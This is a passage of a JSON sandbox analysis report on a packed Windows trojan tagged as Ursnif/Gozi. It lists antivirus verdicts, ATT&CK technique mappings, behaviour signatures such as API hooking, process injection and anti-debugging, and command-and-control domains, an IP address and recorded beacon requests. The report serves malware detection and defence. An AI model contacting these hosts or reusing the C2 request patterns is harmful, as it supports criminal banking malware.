"},"bitdefender":{"name":"Bitdefender","success":true,"verdict":"malicious","threat_name":"Gen:Variant.Graftor.524352","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"clamav":{"name":"ClamAV","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"comodo":{"name":"Comodo","success":true,"verdict":"malicious","threat_name":"Malware","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"crowdstrike":{"name":"CrowdStrike","success":true,"verdict":"malicious","threat_name":"win/malicious_confidence_100% (W)","status":"malicious","progress":100,"data_source":"CrowdStrike","permalink":"https://www.crowdstrike.com/en-us/platform/endpoint-security/"},"cyren":{"name":"Cyren","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"emsisoft":{"name":"Emsisoft","success":true,"verdict":"malicious","threat_name":"Gen:Variant.Graftor.524352 (B)","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"eset":{"name":"ESET","success":true,"verdict":"malicious","threat_name":"a variant of Win32/Kryptik.GLSD trojan","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"filseclab":{"name":"Filseclab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"huorong":{"name":"Huorong","success":true,"verdict":"malicious","threat_name":"Trojan/Generic!9A17957FE73ABD40","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"k7":{"name":"K7","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"kaspersky":{"name":"Kaspersky","success":true,"verdict":"malicious","threat_name":"Trojan-Spy.Win32.Ursnif.aatl","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"mcafee":{"name":"McAfee","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"microsoftdefender":{"name":"Microsoft Defender","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"nanoav":{"name":"NANOAV","success":true,"verdict":"malicious","threat_name":"Trojan.Win32.Stealer.fjgcic","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"netgate":{"name":"NETGATE","success":true,"verdict":"malicious","threat_name":"Trojan.Win32.Malware","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"rocketcyber":{"name":"RocketCyber","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sophos":{"name":"Sophos","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"tachyon":{"name":"TACHYON","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"trendmicro":{"name":"Trend Micro","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"trendmicrohousecall":{"name":"Trend Micro HouseCall","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"viritexplorer":{"name":"Vir.IT eXplorer","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"virusblokada":{"name":"VirusBlokAda","success":true,"verdict":"malicious","threat_name":"BScope.Trojan.CryptInject","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"webrootsmd":{"name":"Webroot SMD","success":true,"verdict":"malicious","threat_name":"Malware","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"zillya":{"name":"Zillya!","success":true,"verdict":"malicious","threat_name":"Trojan.Coins.Win32.1899","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"}}},"rule_matches":{},"attributions":{"malware_families":[{"value":"Graftor.Generic","sources":[{"report_type":"quickscan","report_id":""}]}]},"mitre_attacks":[{"tactic":"Execution","technique":"Service Execution","attack_id":"T1035","attack_id_wiki":"https://attack.mitre.org/wiki/Technique/T1035","identifiers":[{"type":"suspicious","value":"Opened the service control manager"}],"sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"tactic":"Persistence","technique":"Hooking","attack_id":"T1179","attack_id_wiki":"https://attack.mitre.org/wiki/Technique/T1179","identifiers":[{"type":"suspicious","value":"Installs hooks/patches the running process"},{"type":"suspicious","value":"Hooks API calls"}],"sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"tactic":"Persistence","technique":"Kernel Modules and Extensions","attack_id":"T1215","attack_id_wiki":"https://attack.mitre.org/wiki/Technique/T1215","identifiers":[{"type":"informative","value":"Opens the Kernel Security Device Driver (KsecDD) of Windows"}],"sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"tactic":"Privilege Escalation","technique":"Process Injection","attack_id":"T1055","attack_id_wiki":"https://attack.mitre.org/wiki/Technique/T1055","identifiers":[{"type":"malicious","value":"Writes data to a remote process"},{"type":"suspicious","value":"Scans for the windows taskbar (may be used for explorer injection)"},{"type":"informative","value":"Found a string that may be used as part of an injection method"}],"sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"tactic":"Defense Evasion","technique":"Software Packing","attack_id":"T1045","attack_id_wiki":"https://attack.mitre.org/wiki/Technique/T1045","identifiers":[{"type":"suspicious","value":"PE file is packed with UPX"}],"sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"tactic":"Discovery","technique":"Application Window Discovery","attack_id":"T1010","attack_id_wiki":"https://attack.mitre.org/wiki/Technique/T1010","identifiers":[{"type":"informative","value":"Scanning for window names"}],"sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"tactic":"Discovery","technique":"Peripheral Device Discovery","attack_id":"T1120","attack_id_wiki":"https://attack.mitre.org/wiki/Technique/T1120","identifiers":[{"type":"malicious","value":"Found an IP/URL artifact that was identified as malicious by a significant amount of reputation engines"}],"sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"tactic":"Discovery","technique":"Query Registry","attack_id":"T1012","attack_id_wiki":"https://attack.mitre.org/wiki/Technique/T1012","identifiers":[{"type":"suspicious","value":"Reads the active computer name"},{"type":"suspicious","value":"Reads the cryptographic machine GUID"}],"sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"tactic":"Lateral Movement","technique":"Remote Desktop Protocol","attack_id":"T1076","attack_id_wiki":"https://attack.mitre.org/wiki/Technique/T1076","identifiers":[{"type":"suspicious","value":"Reads terminal service related keys (often RDP related)"}],"sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"tactic":"Exfiltration","technique":"Data Compressed","attack_id":"T1002","attack_id_wiki":"https://attack.mitre.org/wiki/Technique/T1002","identifiers":[{"type":"informative","value":"Matched Compiler/Packer signature"}],"sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]}],"sandbox_signatures":[{"level":"informative","category":"Anti-Reverse Engineering","name":"PE file contains zero-size sections","description":"Raw size of \"UPX0\" is zero","origin":"Static Parser","relevance":10,"id":"static-5","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"level":"informative","category":"General","name":"Contacts domains","description":"\"api.xc78cx.at\"\n \"x1.eromov.at\"\n \"chat.ahohri.at\"\n \"golangland.cn\"\n \"d1.ho00yn.at\"","origin":"Network Traffic","relevance":1,"id":"network-0","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"level":"informative","category":"General","name":"Contacts server","description":"\"47.254.154.76:80\"","origin":"Network Traffic","relevance":1,"id":"network-1","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"level":"informative","category":"General","name":"Creates a writable file in a temporary directory","description":"$25","origin":"API Call","relevance":1,"id":"api-4","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"level":"informative","category":"General","name":"Creates mutants","description":"$26","origin":"Created Mutant","relevance":3,"id":"mutant-0","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"level":"informative","category":"General","name":"GETs files from a webserver","description":"$27","origin":"Network Traffic","relevance":5,"id":"network-2","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"level":"informative","category":"General","name":"Launches a browser","description":"Launches browser \"iexplore.exe\" (UID: 00061854-00003364)\n Launches browser \"iexplore.exe\" (UID: 00062543-00004024)\n Launches browser \"iexplore.exe\" (UID: 00066111-00002568)\n Launches browser \"iexplore.exe\" (UID: 00066747-00003112)\n Launches browser \"iexplore.exe\" (UID: 00069931-00002804)\n Launches browser \"iexplore.exe\" (UID: 00070615-00003656)\n Launches browser \"iexplore.exe\" (UID: 00073942-00002360)\n Launches browser \"iexplore.exe\" (UID: 00074570-00002240)\n Launches browser \"iexplore.exe\" (UID: 00077788-00003384)\n Launches browser \"iexplore.exe\" (UID: 00078410-00003936)","origin":"Monitored Target","relevance":3,"id":"target-21","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"level":"informative","category":"General","name":"Process launched with changed environment","description":"Process \"iexplore.exe\" (UID: 00061854-00003364) was launched with modified environment variables: \"Path\"","origin":"Monitored Target","relevance":10,"id":"target-67","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"level":"informative","category":"General","name":"Scanning for window names","description":"\"iexplore.exe\" searching for class \"Shell_TrayWnd\"\n \"iexplore.exe\" searching for class \"Static\"","origin":"API Call","mitre_attack_id":"T1010","relevance":10,"id":"api-70","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"level":"informative","category":"General","name":"Spawns new processes","description":"Spawned process \".exe\" (UID: 00059594-00003944)\n Spawned process \"iexplore.exe\" with commandline \"-Embedding\" (UID: 00061854-00003364)\n Spawned process \"iexplore.exe\" with commandline \"SCODEF:3364 CREDAT:79873\" (UID: 00062543-00004024)\n Spawned process \"iexplore.exe\" with commandline \"-Embedding\" (UID: 00066111-00002568)\n Spawned process \"iexplore.exe\" with commandline \"SCODEF:2568 CREDAT:79873\" (UID: 00066747-00003112)\n Spawned process \"iexplore.exe\" with commandline \"-Embedding\" (UID: 00069931-00002804)\n Spawned process \"iexplore.exe\" with commandline \"SCODEF:2804 CREDAT:79873\" (UID: 00070615-00003656)\n Spawned process \"iexplore.exe\" with commandline \"-Embedding\" (UID: 00073942-00002360)\n Spawned process \"iexplore.exe\" with commandline \"SCODEF:2360 CREDAT:79873\" (UID: 00074570-00002240)\n Spawned process \"iexplore.exe\" with commandline \"-Embedding\" (UID: 00077788-00003384)\n Spawned process \"iexplore.exe\" with commandline \"SCODEF:3384 CREDAT:79873\" (UID: 00078410-00003936)","origin":"Monitored Target","relevance":3,"id":"target-25","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"level":"informative","category":"General","name":"Spawns new processes that are not known child processes","description":"Spawned process \".exe\" (UID: 00059594-00003944)\n Spawned process \"iexplore.exe\" with commandline \"-Embedding\" (UID: 00061854-00003364)\n Spawned process \"iexplore.exe\" with commandline \"SCODEF:3364 CREDAT:79873\" (UID: 00062543-00004024)\n Spawned process \"iexplore.exe\" with commandline \"-Embedding\" (UID: 00066111-00002568)\n Spawned process \"iexplore.exe\" with commandline \"SCODEF:2568 CREDAT:79873\" (UID: 00066747-00003112)\n Spawned process \"iexplore.exe\" with commandline \"-Embedding\" (UID: 00069931-00002804)\n Spawned process \"iexplore.exe\" with commandline \"SCODEF:2804 CREDAT:79873\" (UID: 00070615-00003656)\n Spawned process \"iexplore.exe\" with commandline \"-Embedding\" (UID: 00073942-00002360)\n Spawned process \"iexplore.exe\" with commandline \"SCODEF:2360 CREDAT:79873\" (UID: 00074570-00002240)\n Spawned process \"iexplore.exe\" with commandline \"-Embedding\" (UID: 00077788-00003384)\n Spawned process \"iexplore.exe\" with commandline \"SCODEF:3384 CREDAT:79873\" (UID: 00078410-00003936)","origin":"Monitored Target","relevance":3,"id":"target-103","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"level":"informative","category":"Installation/Persistance","name":"Connects to LPC ports","description":"\".exe\" connecting to \"\\ThemeApiPort\"","origin":"API Call","relevance":1,"id":"api-16","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"level":"informative","category":"Installation/Persistance","name":"Dropped files","description":"$28","origin":"Binary File","relevance":3,"id":"binary-0","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"level":"informative","category":"Installation/Persistance","name":"Found a string that may be used as part of an injection method","description":"\"Shell_TrayWnd\" (Taskbar window class may be used to inject into explorer with the SetWindowLong method)","origin":"File/Memory","mitre_attack_id":"T1055","relevance":4,"id":"string-4","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"level":"informative","category":"Installation/Persistance","name":"Opens the MountPointManager (often used to detect additional infection locations)","description":"\"iexplore.exe\" opened \"\\Device\\MountPointManager\"","origin":"API Call","relevance":5,"id":"api-51","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"level":"informative","category":"Installation/Persistance","name":"Touches files in the Windows directory","description":"\".exe\" touched file \"%WINDIR%\\Globalization\\Sorting\\SortDefault.nls\"\n \".exe\" touched file \"%WINDIR%\\System32\\ntdll.dll\"\n \".exe\" touched file \"%WINDIR%\\System32\\rsaenh.dll\"\n \".exe\" touched file \"%WINDIR%\\System32\\ieframe.dll\"\n \".exe\" touched file \"%WINDIR%\\System32\\stdole2.tlb\"\n \".exe\" touched file \"%WINDIR%\\System32\\mshtml.tlb\"","origin":"API Call","relevance":7,"id":"api-55","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"level":"informative","category":"Network Related","name":"Found potential URL in binary/memory","description":"Heuristic match: \"api.xc78cx.at\"\n Heuristic match: \"x1.eromov.at\"\n Heuristic match: \"chat.ahohri.at\"\n Heuristic match: \"golangland.cn\"\n Heuristic match: \"d1.ho00yn.at\"\n Pattern match: \"https://ieonline.microsoft.com/#ieslice\"\n Pattern match: \"http://go.microsoft.com/fwlink/?LinkId=121315\"","origin":"File/Memory","relevance":10,"id":"string-3","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"level":"informative","category":"System Security","name":"Opens the Kernel Security Device Driver (KsecDD) of Windows","description":"\".exe\" opened \"\\Device\\KsecDD\"","origin":"API Call","mitre_attack_id":"T1215","relevance":10,"id":"api-37","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"level":"informative","category":"Unusual Characteristics","name":"Matched Compiler/Packer signature","description":"\"8699504581b66c1103731360d971270414f99637a2121f1a2f937096937b1052.bin\" was detected as \"UPX v1.25 (Delphi) Stub\"","origin":"Static Parser","mitre_attack_id":"T1002","relevance":10,"id":"static-18","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"level":"suspicious","category":"Anti-Detection/Stealthyness","name":"Queries kernel debugger information","description":"\".exe\" at 00059594-00003944-00000105-51643560611","origin":"API Call","relevance":6,"id":"api-10","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"level":"suspicious","category":"Anti-Reverse Engineering","name":"Creates guarded memory regions (anti-debugging trick to avoid memory dumping)","description":"\"iexplore.exe\" is protecting 8192 bytes with PAGE_GUARD access rights","origin":"API Call","relevance":10,"id":"api-1","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"level":"suspicious","category":"Anti-Reverse Engineering","name":"PE file has unusual entropy sections","description":"UPX1 with unusual entropies 7.85693069695","origin":"Static Parser","relevance":10,"id":"static-6","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"level":"suspicious","category":"Anti-Reverse Engineering","name":"PE file is packed with UPX","description":"\"8699504581b66c1103731360d971270414f99637a2121f1a2f937096937b1052.bin\" has a section named \"UPX0\"\n \"8699504581b66c1103731360d971270414f99637a2121f1a2f937096937b1052.bin\" has a section named \"UPX1\"","origin":"Static Parser","mitre_attack_id":"T1045","relevance":10,"id":"static-7","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"level":"suspicious","category":"Environment Awareness","name":"Reads the active computer name","description":"\".exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")","origin":"Registry Access","mitre_attack_id":"T1012","relevance":5,"id":"registry-35","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"level":"suspicious","category":"Environment Awareness","name":"Reads the cryptographic machine GUID","description":"\".exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")","origin":"Registry Access","mitre_attack_id":"T1012","relevance":10,"id":"registry-1","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"level":"suspicious","category":"External Systems","name":"Found an IP/URL artifact that was identified as malicious by at least one reputation engine","description":"1/67 reputation engines marked \"http://x1.eromov.at\" as malicious (1% detection rate)\n 3/68 reputation engines marked \"http://golangland.cn\" as malicious (4% detection rate)","origin":"External System","relevance":10,"id":"avtest-6","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"level":"suspicious","category":"General","name":"Opened the service control manager","description":"\"iexplore.exe\" called \"OpenSCManager\" requesting access rights \"SC_MANAGER_CONNECT\" (0x1)","origin":"API Call","mitre_attack_id":"T1035","relevance":10,"id":"api-77","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"level":"suspicious","category":"Installation/Persistance","name":"Creates new processes","description":"\".exe\" is creating a new process (Name: \"C:\\8699504581b66c1103731360d971270414f99637a2121f1a2f937096937b1052.exe\", Handle: 92)\n \"iexplore.exe\" is creating a new process (Name: \"%PROGRAMFILES%\\Internet Explorer\\iexplore.exe\", Handle: 772)\n \"iexplore.exe\" is creating a new process (Name: \"%PROGRAMFILES%\\Internet Explorer\\iexplore.exe\", Handle: 800)\n \"iexplore.exe\" is creating a new process (Name: \"%PROGRAMFILES%\\Internet Explorer\\iexplore.exe\", Handle: 784)\n \"iexplore.exe\" is creating a new process (Name: \"%PROGRAMFILES%\\Internet Explorer\\iexplore.exe\", Handle: 804)","origin":"API Call","relevance":8,"id":"api-2","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"level":"suspicious","category":"Installation/Persistance","name":"Scans for the windows taskbar (may be used for explorer injection)","description":"\"iexplore.exe\" searching for class \"Shell_TrayWnd\"","origin":"API Call","mitre_attack_id":"T1055","relevance":10,"id":"api-17","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"level":"suspicious","category":"Network Related","name":"Sends traffic on typical HTTP outbound port, but without HTTP header","description":"TCP traffic to 47.254.154.76 on port 80 is sent without HTTP header","origin":"Network Traffic","relevance":5,"id":"network-23","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"level":"suspicious","category":"Remote Access Related","name":"Reads terminal service related keys (often RDP related)","description":"\".exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\TERMINAL SERVER\"; Key: \"TSUSERENABLED\")","origin":"Registry Access","mitre_attack_id":"T1076","relevance":10,"id":"registry-61","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"level":"suspicious","category":"System Security","name":"Hooks API calls","description":"\"PageSetupDlgW@COMDLG32.DLL\" in \"iexplore.exe\"\n \"MessageBoxIndirectA@USER32.DLL\" in \"iexplore.exe\"\n \"DialogBoxParamA@USER32.DLL\" in \"iexplore.exe\"\n \"DialogBoxParamW@USER32.DLL\" in \"iexplore.exe\"\n \"PropertySheetW@COMCTL32.DLL\" in \"iexplore.exe\"\n \"DialogBoxIndirectParamW@USER32.DLL\" in \"iexplore.exe\"\n \"CreateWindowExW@USER32.DLL\" in \"iexplore.exe\"\n \"PropertySheet@COMCTL32.DLL\" in \"iexplore.exe\"\n \"MessageBoxExA@USER32.DLL\" in \"iexplore.exe\"\n \"MessageBoxIndirectW@USER32.DLL\" in \"iexplore.exe\"\n \"DialogBoxIndirectParamA@USER32.DLL\" in \"iexplore.exe\"\n \"MessageBoxExW@USER32.DLL\" in \"iexplore.exe\"\n \"OleCreatePropertyFrameIndirect@OLEAUT32.DLL\" in \"iexplore.exe\"","origin":"Hook Detection","mitre_attack_id":"T1179","relevance":10,"id":"hooks-0","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Entrypoint in PE header is within an uncommon section","description":"\"8699504581b66c1103731360d971270414f99637a2121f1a2f937096937b1052.bin\" has an entrypoint in section \"UPX1\"","origin":"Static Parser","relevance":10,"id":"static-4","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Imports suspicious APIs","description":"VirtualProtect\n GetProcAddress\n VirtualAlloc\n LoadLibraryA","origin":"Static Parser","relevance":1,"id":"static-1","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Installs hooks/patches the running process","description":"$29","origin":"Hook Detection","mitre_attack_id":"T1179","relevance":10,"id":"hooks-8","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"level":"malicious","category":"External Systems","name":"Found an IP/URL artifact that was identified as malicious by a significant amount of reputation engines","description":"3/68 reputation engines marked \"http://golangland.cn\" as malicious (4% detection rate)","origin":"External System","mitre_attack_id":"T1120","relevance":10,"id":"avtest-7","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"level":"malicious","category":"External Systems","name":"Sample was identified as malicious by a large number of Antivirus engines","description":"22/67 Antivirus vendors marked sample as malicious (32% detection rate)","origin":"External System","relevance":10,"id":"avtest-3","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"level":"malicious","category":"External Systems","name":"Sample was identified as malicious by at least one Antivirus engine","description":"22/67 Antivirus vendors marked sample as malicious (32% detection rate)","origin":"External System","relevance":8,"id":"avtest-0","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"level":"malicious","category":"General","name":"The analysis spawned a process that was identified as malicious","description":"22/67 Antivirus vendors marked spawned process \".exe\" (PID: 3944) as malicious (classified as \"Trojan.Generic\" with 32% detection rate)","origin":"Monitored Target","relevance":10,"id":"target-58","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"level":"malicious","category":"Installation/Persistance","name":"Writes data to a remote process","description":"$2a","origin":"API Call","mitre_attack_id":"T1055","relevance":6,"id":"api-0","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]}],"incidents":[{"name":"Remote Access","details_count":1,"details":[{"detail":"Reads terminal service related keys (often RDP related)"}],"sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"name":"Spyware","details_count":1,"details":[{"detail":"Hooks API calls"}],"sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"name":"Persistence","details_count":1,"details":[{"detail":"Writes data to a remote process"}],"sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"name":"Fingerprint","details_count":3,"details":[{"detail":"Queries kernel debugger information"},{"detail":"Reads the cryptographic machine GUID"},{"detail":"Reads the active computer name"}],"sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"name":"Network Behavior","details_count":1,"details":[{"detail":"Contacts 5 domains and 5 hosts"}],"sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]}]},"activity":{"stats":{"process_count":12,"spawned_processes_count":12,"injected_processes_count":0,"script_calls_count":0,"mutex_created_count":34,"imported_dlls_count":110,"dropped_files_count":0,"extracted_files_count":20,"files_written_count":369,"files_deleted_count":0,"registry_keys_created_count":1,"registry_keys_modified_count":0,"registry_keys_deleted_count":21,"registry_keys_opened_count":0,"registry_keys_queried_count":0,"registry_operations_count":22,"embedded_ips_count":0,"embedded_domains_count":0,"embedded_urls_count":0,"contacted_hosts_count":1,"dns_resolutions_count":5,"contacted_urls_count":3,"http_requests_count":3},"behavior_tags":["banking","commodity","criminal","gozi","isfb","ursnif"],"sample_flags":["Multi-Process","Network Traffic","Extracted Files","TOR analysis"],"sandbox_reports":[{"id":"5bc7443e7ca3e11508446b83","environment_id":100,"environment_description":"Windows 7 32 bit","state":"SUCCESS","verdict":"malicious","threat_score":100,"malware_family":"Trojan.Generic","contacted_countries":["USA"],"submit_name":"2018-10-17_23-05-46.exe","analysis_start_time":"2018-10-17T17:32:37+00:00","indicators_count":{"informative":19,"suspicious":19,"malicious":8},"tags":["Multi-Process","Network Traffic","Extracted Files","TOR analysis"],"is_in_unified_schema":true}],"network_activity":{"contacted_hosts":[{"address":"47.254.154.76","port":80,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]}],"dns_resolutions":[{"domain":"x1.eromov.at","address":"47.254.154.76","ttl":3600,"country":"United States","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"domain":"golangland.cn","country":"-","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"domain":"d1.ho00yn.at","country":"-","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"domain":"chat.ahohri.at","address":"47.254.154.76","ttl":300,"country":"United States","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"domain":"api.xc78cx.at","address":"47.254.154.76","ttl":300,"country":"United States","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]}],"http_requests":[{"host":"api.xc78cx.at","host_ip":"47.254.154.76:80","url":"/wpx/P2amrIkcijxmjY2qL_2BM/2oAzAwE0GHKLbWGm/9AcmSAAEqymDu0z/I1AZqYnjOO2nPjVpd1/aUEToP0Nb/nQFijabhF1MJJ2QEEujP/O0ny6UYrPEh_2FGGXll/mtKCjWdhdmlPWThFLTZoYF/9U0ag_2B0wIli/9CkRV2hr/Y7yzuvL91qL01zk62vn_2FN/hwuYNTHhsR/aYU1T3aCrSpInof9j/f2Gdl078/pcL","method":"GET","header":"GET /wpx/P2amrIkcijxmjY2qL_2BM/2oAzAwE0GHKLbWGm/9AcmSAAEqymDu0z/I1AZqYnjOO2nPjVpd1/aUEToP0Nb/nQFijabhF1MJJ2QEEujP/O0ny6UYrPEh_2FGGXll/mtKCjWdhdmlPWThFLTZoYF/9U0ag_2B0wIli/9CkRV2hr/Y7yzuvL91qL01zk62vn_2FN/hwuYNTHhsR/aYU1T3aCrSpInof9j/f2Gdl078/pcL HTTP/1.1\nAccept: */*\nAccept-Language: en-us\nUser-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)\nAccept-Encoding: gzip, deflate\nHost: api.xc78cx.at\nConnection: Keep-Alive","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"host":"x1.eromov.at","host_ip":"47.254.154.76:80","url":"/wpx/8iguPIEBLRPsBgDd5/WP568XYeOA3_/2FQHrbQ_2F_/2BMQYaJ5L9D1I1/CY1nND2ZvhZsYpTXYeP62/HFbLom3kVPU7_2Bz/cHyYeFJpYAMYVcB/qAmUyAwPSF6DOD7yK8/MjkHVTd0a/yAU3iJ8yTXn_2BNpQDlh/cq1ks0I6h5QzrMK92DT/mS2LkkwMR_2FxmPdjW2whU/dbgzWTOCtxzCO/ZAE5q0N2ah0Uzr/5r_2F95","method":"GET","header":"GET 